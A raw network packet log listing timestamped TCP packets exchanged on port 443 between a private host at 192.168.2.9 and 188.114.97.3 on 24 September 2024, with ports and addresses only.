Sep 24, 2024 06:30:12.746160984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746273994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746284962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746315002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746350050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746364117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746411085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746424913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746449947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746470928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746479988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746534109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746543884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746572971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746597052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746737957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746750116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746778965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746808052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746826887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746874094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746881962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746907949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.746946096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.746957064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.747018099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747029066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.747051001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.747111082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747119904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.747260094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747339964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747354984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.747438908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747463942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.747488022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:12.959400892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:12.959510088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:13.375402927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:13.375484943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.207405090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.207499027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430253983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430270910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430284023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430356026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430361986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430378914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430396080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430418968 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430423021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430465937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430485964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430505991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430505991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430510044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430521965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430629015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430639982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430655956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430671930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430679083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430682898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430742025 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430747986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430876017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430885077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430903912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430921078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430938005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.430943966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.430988073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.431060076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.431226015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.431305885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.639408112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.686731100 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.899416924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.899518967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921530008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921546936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921567917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921658039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921668053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921686888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921700001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921739101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921768904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921778917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921796083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921880960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921899080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921922922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921947956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.921955109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.921961069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922029018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922051907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922064066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922082901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922110081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922171116 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922183990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922198057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922214031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922244072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922261000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922278881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922285080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922292948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922313929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922324896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922348976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922403097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922418118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922430992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922451019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922461987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922487020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922521114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922533035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922553062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922607899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922617912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922627926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922665119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922689915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922698021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922708988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922738075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922791004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922800064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922816992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922873020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922879934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922892094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922911882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.922950029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.922960043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.923044920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.923054934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.923110008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:14.923130035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:14.923218012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:15.131405115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:15.187273979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:15.399406910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:15.399538994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:15.839404106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:15.839477062 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.699436903 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.699572086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858599901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858613968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858625889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858710051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858719110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858731985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858757019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858781099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858793974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858793974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858809948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858822107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858839035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858848095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858858109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858870029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858903885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858911991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.858922005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.858932018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859024048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859024048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859034061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859051943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859065056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859078884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859160900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859198093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859208107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859236956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859304905 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859323025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859344006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859364033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:16.859404087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859513044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:16.859585047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.067414999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.067559004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.407831907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.407852888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.407872915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.407886982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408044100 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408056021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408096075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408245087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408253908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408262014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408282042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408314943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408332109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408346891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408355951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408381939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408389091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408402920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408504009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408514023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408530951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408561945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408570051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408581018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408611059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408617973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408627033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408639908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408703089 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408718109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408730984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408749104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408756971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408762932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408786058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408860922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408869982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408893108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408911943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.408921003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408931971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.408947945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409004927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409013987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409032106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409056902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409081936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409109116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409122944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409214020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409214020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409226894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409245968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409269094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409281969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409293890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409301996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409312010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409333944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409410000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409418106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.409430027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409508944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.409616947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:17.615447998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:17.615609884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:18.043452024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:18.043725014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:18.875426054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:18.875502110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266295910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266321898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266341925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266500950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266500950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266513109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266525984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266541004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266556978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266572952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266583920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266604900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266613960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266649961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266657114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266670942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266709089 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266740084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266774893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266808033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266818047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266840935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266871929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.266881943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.266908884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.267003059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.267013073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.267026901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.267227888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.267227888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.267227888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.267241955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.267281055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.267451048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.267496109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.479409933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.479511976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.773627996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.773642063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773658991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773670912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773782015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.773789883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773821115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.773829937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773854017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.773858070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774017096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774017096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774027109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774055958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774084091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774096966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774122953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774131060 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774139881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774152040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774301052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774301052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774312973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774337053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774502993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774502993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774516106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774540901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774563074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774566889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774585009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774669886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774679899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774832964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774841070 CEST	443	49748	188.114.97.3	192.168.2.9
